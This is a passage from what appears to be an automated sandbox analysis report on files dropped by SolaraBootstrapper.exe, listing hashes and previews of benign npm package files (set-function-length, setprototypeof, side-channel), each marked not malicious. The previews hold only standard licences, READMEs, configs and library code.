SHA-512:	D82554CCB97D0743E125D76B499047837E5BA2BE4C9F0C6C1E29E6FACD7BB1D5F4E4EBF8AE842EAD68C66C63B32B11ECE3A2AAE0E2A1A44A088DC522F52EF798
Malicious:	false
Preview:	declare const env: {..__proto__: null,..boundFnsHaveConfigurableLengths: boolean;..boundFnsHaveWritableLengths: boolean;..functionsHaveConfigurableLengths: boolean;..functionsHaveWritableLengths: boolean;.};..export = env;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\env.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	867
Entropy (8bit):	5.090086164326237
Encrypted:	false
SSDEEP:	24:5fYzKfFAPzeCRmm1miZBym+Ym0+G8mDmKdK:+CArec6
MD5:	63EBC6CC71423925CF62B6435F253B5B
SHA1:	57960E6B0FF7A4F9994C53953020133777A47F7C
SHA-256:	51E8F137DFF2D3987C98BCBD677BDEC7306734A936F6C731E4DA154A5C69C372
SHA-512:	177FA1BA5041931C328818DF6A886537332709FE727290B71946A74A8F57DBB8C2B83F54F292E46989A9E127C10EBC54279859BE66C28EA501B49FF93ADBEEEC
Malicious:	false
Preview:	'use strict';..var gOPD = require('gopd');.var bind = require('function-bind');..var unbound = gOPD && gOPD(function () {}, 'length');.// @ts-expect-error ts(2555) TS is overly strict with .call.var bound = gOPD && gOPD(bind.call(function () {}), 'length');..var functionsHaveConfigurableLengths = !!(unbound && unbound.configurable);..var functionsHaveWritableLengths = !!(unbound && unbound.writable);..var boundFnsHaveConfigurableLengths = !!(bound && bound.configurable);..var boundFnsHaveWritableLengths = !!(bound && bound.writable);../** @type {import('./env')} */.module.exports = {..__proto__: null,..boundFnsHaveConfigurableLengths: boundFnsHaveConfigurableLengths,..boundFnsHaveWritableLengths: boundFnsHaveWritableLengths,..functionsHaveConfigurableLengths: functionsHaveConfigurableLengths,..functionsHaveWritableLengths: functionsHaveWritableLengths.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	256
Entropy (8bit):	4.647296473858828
Encrypted:	false
SSDEEP:	6:vuw/OtB+CY9s4qP4eUYYBrFOBipQDq2LVQihu3n:vuw/Ob+Cm9qweUYYtA4QDyihu3
MD5:	BDF7EEFB056280C0DB7E37AFB831CBA2
SHA1:	1970485CC5D8EBBE28369EF8CE60842A1BAEE346
SHA-256:	F1DBFE4E162AB9E9DD14D9BC5CE5974C4EBC4FEDF5B682D634D8D5013637566C
SHA-512:	352059E647C9E035736C0494FE644D69BA4314D6D7BF50021EF130147C1DCAC948769FC31E9F96B299F9307695A97A9D7B508C98B12FBB43FDAE090DC558C91E
Malicious:	false
Preview:	declare namespace setFunctionLength {. type Func = (...args: unknown[]) => unknown;.}..declare function setFunctionLength<T extends setFunctionLength.Func = setFunctionLength.Func>(fn: T, length: number, loose?: boolean): T;..export = setFunctionLength;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	5.155889077713486
Encrypted:	false
SSDEEP:	24:9GtfFfP+9ctoxByfZUmFW/AnB0o+sFUeWFU/w:AE9cSxWZsWxFfWF1
MD5:	3F8DF1ED175B6F94BCA846B018F56F6D
SHA1:	C983B09E4396B163486378B5B1F7AEFC532CB471
SHA-256:	A523E45AE8C58B13795B66841FCAF104AC3E394AB123197BD46DD09088CABCD5
SHA-512:	4001BD1D845650F0F04401E434E96D8404744C16C45D4DF3C0BCE46D43DD011B0F07AB45D38AF17B1BD37BE24C537D466613270479739E1269127AD2C72E439C
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');.var define = require('define-data-property');.var hasDescriptors = require('has-property-descriptors')();.var gOPD = require('gopd');..var $TypeError = require('es-errors/type');.var $floor = GetIntrinsic('%Math.floor%');../** @type {import('.')} */.module.exports = function setFunctionLength(fn, length) {..if (typeof fn !== 'function') {...throw new $TypeError('`fn` is not a function');..}..if (typeof length !== 'number' \|\| length < 0 \|\| length > 0xFFFFFFFF \|\| $floor(length) !== length) {...throw new $TypeError('`length` must be a positive 32-bit integer');..}...var loose = arguments.length > 2 && !!arguments[2];...var functionLengthIsConfigurable = true;..var functionLengthIsWritable = true;..if ('length' in fn && gOPD) {...var desc = gOPD(fn, 'length');...if (desc && !desc.configurable) {....functionLengthIsConfigurable = false;...}...if (desc && !desc.writable) {....functionLengthIsWritable = false;...}..}...if (functionLe

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2704
Entropy (8bit):	5.101324766264455
Encrypted:	false
SSDEEP:	48:hvPZRYCzkc8gUPagS490fSyRYsEg4+kELXTNvKR4sz4PVl5yKQCbf4O3ZwjmfSoa:WCzCg8KI3+vLXTNvKR424gKf6H
MD5:	D5C44D4CC2D418C8A4248912B241EA03
SHA1:	BD0BCFC74BF8E9FE8D1EDB2B3A893D096A6067F7
SHA-256:	2C81BAB7F7A60D625164BD840D863548E3F9D4D1AA976B9D2966E5E1E36132A7
SHA-512:	56115E860931F409606432D47A9C13A50688C9B6C56DE8633B920F879F2E766A4DD2453DF3B3223FB4D7D73BFE8B4B2497DFFB395C070F73738F704DE4B8CCEB
Malicious:	false
Preview:	{.."name": "set-function-length",.."version": "1.2.2",.."description": "Set a function's length property",.."main": "index.js",.."exports": {...".": "./index.js",..."./env": "./env.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."directories": {..."test": "test"..},.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."tsc": "tsc -p .",..."posttsc": "attw -P",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "npm run tsc",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."ty

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\set-function-length\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.738285629546192
Encrypted:	false
SSDEEP:	3:SAL0x+HNNMgvZ63LW/mNHR+DRHtH79Upv5JoUifEIkHJ0GYv:zL0UDMgvEmIHERNH79o5JoUiMIOJnC
MD5:	52FAD431B4493384DEB61BCA02E2FF01
SHA1:	A16472424F8C26184DE557EFF8D6824939D1FC8E
SHA-256:	6346EE4C020F341387588479DD83740A65AB902A462B8C6B3B8BF51F032C6795
SHA-512:	35B51BDEA5BD3080B065D7AA72DE5DE16C5D839C6AF8671F8325D35B69F7DA5D9A5D53C53C38CCDBCF74847CC0BBF3D06E1ECA01415A1546FFD5581747B1434A
Malicious:	false
Preview:	{.."extends": "@ljharb/tsconfig",.."compilerOptions": {..."target": "es2021",..},.."exclude": [..."coverage",..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	727
Entropy (8bit):	4.995407984851891
Encrypted:	false
SSDEEP:	12:BKftbCS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+3Rz2AvzT3ka2C6K2PF3ew:2hBICCtEmq6s9iOncURnAqaF3ew
MD5:	4846F1626304C2C0F806A539BBC7D54A
SHA1:	8F107723A24DCE0CC8346B8909E124E3782DA6AE
SHA-256:	76D6D1EA0C268DA37DD3C961B4FCFB23DEE8417FFF9E8786D4D44C585B781B69
SHA-512:	563CEE3199EB3BE73EF14567B9ECC666510CF007B768B4E53EC2B5F84B8E09150072585012CBC186E282AF49DFE8E2B14D301FD0E3C6705A0157622D4380A16C
Malicious:	false
Preview:	Copyright (c) 2015, Wes Todd..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY.SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION.OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN.CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	844
Entropy (8bit):	4.954798255004359
Encrypted:	false
SSDEEP:	12:fei0bxTJK0UxTgQRRIJqxwBoOB7gic/7aFI3fk3OE9yCGVvDIpvVI44Z/C1:feiO9Kv8QXD+qOB8NuivcRGVkpN1
MD5:	618E2755F48DE164D10A4D5EF5EFCF6E
SHA1:	ED286B68F2A24C26AF48969AF1503BE62415F317
SHA-256:	5AC2886221898D2E967DF16753E4D64367957261D362FADD1817A9C80B1A6918
SHA-512:	4CE2C1C6A0FA50234533067AE8CA12072D353FA3ED6302D0C00452D318713BC57604114933CB77C1AFF77A4D41F33DAB1C72E453AEC1C5408D0335F176324499
Malicious:	false
Preview:	# Polyfill for `Object.setPrototypeOf`..[![NPM Version](https://img.shields.io/npm/v/setprototypeof.svg)](https://npmjs.org/package/setprototypeof).[![NPM Downloads](https://img.shields.io/npm/dm/setprototypeof.svg)](https://npmjs.org/package/setprototypeof).[![js-standard-style](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](https://github.com/standard/standard)..A simple cross platform implementation to set the prototype of an instianted object. Supports all modern browsers and at least back to IE8...## Usage:..```.$ npm install --save setprototypeof.```..```javascript.var setPrototypeOf = require('setprototypeof')..var obj = {}.setPrototypeOf(obj, {. foo: function () {. return 'bar'. }.}).obj.foo() // bar.```..TypeScript is also supported:..```typescript.import setPrototypeOf from 'setprototypeof'.```.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.403120517491775
Encrypted:	false
SSDEEP:	3:nPXxjvfl8s4HPgM/gihNjn:Vd4HPZgihNj
MD5:	9B4107177BCDB4F9438D31BF446F629F
SHA1:	25F582F0C09211CC1E095DED900797876768EC49
SHA-256:	594108E052A71FBABF137A1139736186AF6E437A255705E99F8C666F4D2AF4C4
SHA-512:	0D2F3209729887FA598DB6EDB720F227AE8DFB4FDBB89DF8051EDE69A038E47925EEA69D7F3136550019CC6E713FDB2D6BDCD1BE8293181247AE8EDE1D70FE70
Malicious:	false
Preview:	declare function setPrototypeOf(o: any, proto: object \| null): any;.export = setPrototypeOf;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	407
Entropy (8bit):	4.619014609580116
Encrypted:	false
SSDEEP:	12:lzFYBIPGbbPwwBErrJnBE8G2DQiAA8jl4Hy:/YB6GbbIwBErrZBE8GCA/jlGy
MD5:	0426A4C38B91533C932059BCB80F163D
SHA1:	3F772213640AEBA8A4E9ACBF5D8B31C91FCBC4B1
SHA-256:	3E3495CA7AE72A7F0CA459F47DD3D97AE3A48FA4B1A669A31672BE778CC97A5F
SHA-512:	3E94A6CFF02FBBB296701F979F79B65AEFD64C51A7619BD47DCA21B7A4361E209AA3D1D5D7D14BE86EF61043A1DCDA5071959F04FE9194A6ADFDFAFDCAD36432
Malicious:	false
Preview:	'use strict'./* eslint no-proto: 0 */.module.exports = Object.setPrototypeOf \|\| ({ __proto__: [] } instanceof Array ? setProtoOf : mixinProperties)..function setProtoOf (obj, proto) {. obj.__proto__ = proto. return obj.}..function mixinProperties (obj, proto) {. for (var prop in proto) {. if (!Object.prototype.hasOwnProperty.call(obj, prop)) {. obj[prop] = proto[prop]. }. }. return obj.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	4.933621332439767
Encrypted:	false
SSDEEP:	24:mV1oZeHyUHR2U1f808J7+qlamKkMb4FrrAixz5TvPqPwxiMlR0QWIC:m/oZepHR20f808Jy/41fxz5z0wxvlR01
MD5:	3C0480D60C15FE4FE27AE36205D1F949
SHA1:	CBF2D7AE54256A7AB84245EB6D72C56F6A015453
SHA-256:	5B39DDF23D2C12A751CB4AF2CE12DD5C87314350BE7526FFF69B4A3FF2A2D538
SHA-512:	6D9B95BC662A09B5364F6FB943E208984CD50C23CCD5361BD86261FCEEAD997B203BB39721F0D82DB2D35D4FCC64BE70E48B71244DAA516DEC7EC09B61DADABC
Malicious:	false
Preview:	{. "name": "setprototypeof",. "version": "1.2.0",. "description": "A small polyfill for Object.setprototypeof",. "main": "index.js",. "typings": "index.d.ts",. "scripts": {. "test": "standard && mocha",. "testallversions": "npm run node010 && npm run node4 && npm run node6 && npm run node9 && npm run node11",. "testversion": "docker run -it --rm -v $(PWD):/usr/src/app -w /usr/src/app node:${NODE_VER} npm install mocha@${MOCHA_VER:-latest} && npm t",. "node010": "NODE_VER=0.10 MOCHA_VER=3 npm run testversion",. "node4": "NODE_VER=4 npm run testversion",. "node6": "NODE_VER=6 npm run testversion",. "node9": "NODE_VER=9 npm run testversion",. "node11": "NODE_VER=11 npm run testversion",. "prepublishOnly": "npm t",. "postpublish": "git push origin && git push origin --tags". },. "repository": {. "type": "git",. "url": "https://github.com/wesleytodd/setprototypeof.git". },. "keywords": [. "polyfill",. "object",. "setprototypeof". ],.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\setprototypeof\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	690
Entropy (8bit):	4.699872068343237
Encrypted:	false
SSDEEP:	12:l9Dqzp/ME9bfPBO+A2ATm8fI0aEIpBJjKeV5GbVm9TeVuFwz42+E:mMMbfPBO+A2AVfI0TIpBlKeLGb49Teoa
MD5:	057B874F30E15981324966FF9294DBE5
SHA1:	B91BB6EE713D8473B3B097B58549F651C6469410
SHA-256:	44BED5FCCCB6C8F6CD92FF4BC034005B9D46BA560C572979944772555D4F2585
SHA-512:	4950AD4C6C81AFE10A1C5696A5FDB056F826195A2DBBA958EB612DC3A727E50156901F95E46781936F5B8B84BBFB8A9264EC2210FBDC978C09EFA10B3B8C193D
Malicious:	false
Preview:	'use strict'./* eslint-env mocha /./ eslint no-proto: 0 */.var assert = require('assert').var setPrototypeOf = require('..')..describe('setProtoOf(obj, proto)', function () {. it('should merge objects', function () {. var obj = { a: 1, b: 2 }. var proto = { b: 3, c: 4 }. var mergeObj = setPrototypeOf(obj, proto).. if (Object.getPrototypeOf) {. assert.strictEqual(Object.getPrototypeOf(obj), proto). } else if ({ __proto__: [] } instanceof Array) {. assert.strictEqual(obj.__proto__, proto). } else {. assert.strictEqual(obj.a, 1). assert.strictEqual(obj.b, 2). assert.strictEqual(obj.c, 4). }. assert.strictEqual(mergeObj, obj). }).}).

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.editorconfig

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.367933691486156
Encrypted:	false
SSDEEP:	3:BjM1vnFoqqA1Dvlk/rJbiDFalWjQWefxMvC2o/Pn:FM1vngODdedOZaVMvw/Pn
MD5:	70AABD0764B023E42627FB94694D78BA
SHA1:	232F2FCDDC7D54C6C7007DAEDC9B5F3088FDB3E0
SHA-256:	F3E9230A5E411831564B0A83313248A7455929098F389C5BC07E8241A754D3FD
SHA-512:	0C621AF2ED51BA7C02CFF5104993B53283FEF6B1F6EB0CCD573D95D664CDB25A1D0444BB8CD27609CDD6DE3796152CF13B738B00F0C2988FA7F3AE8089D7E29B
Malicious:	false
Preview:	root = true..[*].charset = utf-8.end_of_line = lf.insert_final_newline = true.indent_style = tab.indent_size = 2.trim_trailing_whitespace = true.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.825356710364157
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHI01QiLunHHIcR7GTIGChNX8/EoTVsKwR/6Csl6LoE0YOv:ExL0UxNSHIOLAnkzC38bCsluThA
MD5:	15B7A9978CB5F6109FB49831718B4191
SHA1:	66E00342C36357388D503DAF063C6645ED649CCA
SHA-256:	7A1A04FF516AA6B2905885FE15F4F57858EA1703C92456DAED9763FA7B4EA7C6
SHA-512:	58B1692D236EFE685BE86C0BB6DDB7C06B9BF9B8E5937A9375232425C5F07472E7818FC213B8BC0608EA11BF18E44558C1484716FDD0401A1323A57138CDAC92
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."max-lines-per-function": 0,..."multiline-comment-style": 1,..."new-cap": [2, { "capIsNewExceptions": ["GetIntrinsic"] }],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	583
Entropy (8bit):	4.693970033387882
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMXclgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mghlg7g1GegJ9gEz4D
MD5:	6B2A3ADC01B11269EC937729274541DF
SHA1:	5FDD43E047D54B9989EA5623AB41F29090BF131E
SHA-256:	1BAE2DD6CBA2F64D3780A4D3136EED2ED80B17888B0F2F169B90B65532EF1A4E
SHA-512:	EC8127A909F23415085FE283D15BA24C945AF6C9E24368BEBA98F61336EB6206E8DEB1B3C9C1720C6D01488B01DAC378623615532FBCCCD4E4A5B12966D4825D
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/side-channel.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8802
Entropy (8bit):	5.265738800947733
Encrypted:	false
SSDEEP:	96:E5yEKjwBYQ4AuDJEb5joj4jbi6/tgNb66NS9La/4cflSBd/s4:EgmBgAGEbFojq7lMxua/4UUBdk4
MD5:	BECEABFACC27597BA7AB25D06084BF55
SHA1:	2415DF8EFBA411E5AD9A0200925384908B6E8C25
SHA-256:	CA1B58A2915AC00E493F74E4B1448BDCB57F6AF7AA6875B5E0532818DEDBDEB3
SHA-512:	6319D7645294DDBB8DA998F297E89CAF556B025B083673D0EEC79C218FEFB0EE955E999BD2210B4AD6A8AC6169C3A1AC4B1D91E6EACDB0F59406C49B6BF805AB
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.6](https://github.com/ljharb/side-channel/compare/v1.0.5...v1.0.6) - 2024-02-29..### Commits..- add types [`9beef66`](https://github.com/ljharb/side-channel/commit/9beef6643e6d717ea57bedabf86448123a7dd9e9).- [meta] simplify `exports` [`4334cf9`](https://github.com/ljharb/side-channel/commit/4334cf9df654151504c383b62a2f9ebdc8d9d5ac).- [Deps] update `call-bind` [`d6043c4`](https://github.com/ljharb/side-channel/commit/d6043c4d8f4d7be9037dd0f0419c7a2e0e39ec6a).- [Dev Deps] update `tape` [`6aca376`](https://github.com/ljharb/side-channel/commit/6aca3761868dc8cd5ff7fd9799bf6b95e09a6eb0)..## [v1.0.5](https://github.com/ljharb/side-channel/compare/v1.0.4...v1.0.5) - 2024-02-06..### Commits..- [actions] reuse common workflows [`3d2e1ff`]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.103097172056218
Encrypted:	false
SSDEEP:	24:5PsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:BsaJHlxE3dQHOs5exm3ogFh
MD5:	375DC7CA936A14E9C29418D5263BD066
SHA1:	75CDD9C8D795941F851F43B18FC7DAE46E8A59FC
SHA-256:	CFC3F455254C0AF0655CC3FF46A41ED644B67599F6043346169D285BF2B3CF3B
SHA-512:	7767E362BE74A7C40A8EA0B4AA11F99D6BF7B2002C2871E2730F75915CCB3C2679E1CA4F211C3CCC993E9E7E3963AABFC89FD3FF17712BBEF304BB80BC582656
Malicious:	false
Preview:	MIT License..Copyright (c) 2019 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.340548044508631
Encrypted:	false
SSDEEP:	3:SWEIh22Fd4MKLFEq6cF2Wl8WyfE8ksEMcJg:SWdh3GMKvF2K1ys8pl4g
MD5:	80768A7B357B705EC6833447698D755C
SHA1:	C771655B1E41409551D4C6167DE600DFA97E9C57
SHA-256:	B8B53E5CE4F0A0BBE177414B83A2781A271F9338BD8C15A18B4EF6516F83B6BD
SHA-512:	9B5A639D3369C06DE652660A20CEF3346514C5766C896127525D04792358C98C9814AAAE18167BDAA3EF784F567B40DCE98FDA21086A185B7F232BFDB5C63AA9
Malicious:	false
Preview:	# side-channel.Store information about any JS value in a side channel. Uses WeakMap if available..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	5.027409719720289
Encrypted:	false
SSDEEP:	12:vuFwme8aWvbuE3dEOJcOJpDUCt9DYKyUCtjYWyUCCYbUCtvpwlOgqP+hVUiNy:Wxe8bTOKpDUGeUEKUoUSWOg6Ky
MD5:	D4DCBD6AB3DE1FF05334780FBC4C4F8C
SHA1:	CF40E5291FCE3764D536153B98D92B855BE0B01F
SHA-256:	8E8E22035801206FDFFD363EBC6C3DA0D75B902D4E8C2DB5E7AB8F04AEC9F2E1
SHA-512:	1693B70B280FDBDD075CF39587950F3B112D62C4030C5FB852CF33712C563AA9F89B2073691B5ADD47372CAD279DDFA1616B12C08FA3710C7811DFCE34327715
Malicious:	false
Preview:	declare namespace getSideChannel {..type Key = unknown;..type ListNode<T> = {...key: Key;...next: ListNode<T>;...value: T;..};..type RootNode<T> = {...key: object;...next: null \| ListNode<T>;..};..function listGetNode<T>(list: RootNode<T>, key: ListNode<T>['key']): ListNode<T> \| void;..function listGet<T>(objects: RootNode<T>, key: ListNode<T>['key']): T \| void;..function listSet<T>(objects: RootNode<T>, key: ListNode<T>['key'], value: T): void;..function listHas<T>(objects: RootNode<T>, key: ListNode<T>['key']): boolean;...type Channel = {...assert: (key: Key) => void;...has: (key: Key) => boolean;...get: <T>(key: Key) => T;...set: <T>(key: Key, value: T) => void;..}.}..declare function getSideChannel(): getSideChannel.Channel;..export = getSideChannel;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3946
Entropy (8bit):	5.090414231943572
Encrypted:	false
SSDEEP:	96:q9cnMSBRDzhzZH9m3TpDntqTiApdJpgVkwf3F8rj9uaGMIdyYqv:q+nM8zhzZHU9DnoTiAp3
MD5:	AE7485EADF030BAC549BD7F2061C1369
SHA1:	D98AB57304F572C0627627DF3AC4164755021244
SHA-256:	5BBC044D84799159C43617A29F22AE6DC9437E58EE3D7A0ED247FC7236EBF863
SHA-512:	71ABB443869BB4D61B7A01F504262B44CFC70E9694AE661F9425C5BD22356EEE7AC0673FC0D270D8FF67F100794E49C99E10C87B765454568BD7E26C79712A50
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');.var callBound = require('call-bind/callBound');.var inspect = require('object-inspect');..var $TypeError = require('es-errors/type');.var $WeakMap = GetIntrinsic('%WeakMap%', true);.var $Map = GetIntrinsic('%Map%', true);..var $weakMapGet = callBound('WeakMap.prototype.get', true);.var $weakMapSet = callBound('WeakMap.prototype.set', true);.var $weakMapHas = callBound('WeakMap.prototype.has', true);.var $mapGet = callBound('Map.prototype.get', true);.var $mapSet = callBound('Map.prototype.set', true);.var $mapHas = callBound('Map.prototype.has', true);../. This function traverses the list returning the node corresponding to the given key... That node is also moved to the head of the list, so that if it's accessed again we don't need to traverse the whole list. By doing so, all the recently used nodes can be accessed relatively quickly.././* @type {import('.').listGetNode} */.var listGetNode = function (list, key) { // es

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	5.137595755834066
Encrypted:	false
SSDEEP:	48:0FEsBfi0ZRpcOl547ag4fzyRYsEg4ajjsdlcOVsQSowCL:fmBcO0yB3+NQZ
MD5:	9D06D3C21AE37A4600C5685BAAD644FA
SHA1:	062874AAC32D117772AE1AB996E7B84F72749F01
SHA-256:	954C73E75C5B7C07C858B08C73748D81D3599A481CA81758597552C1F89482E1
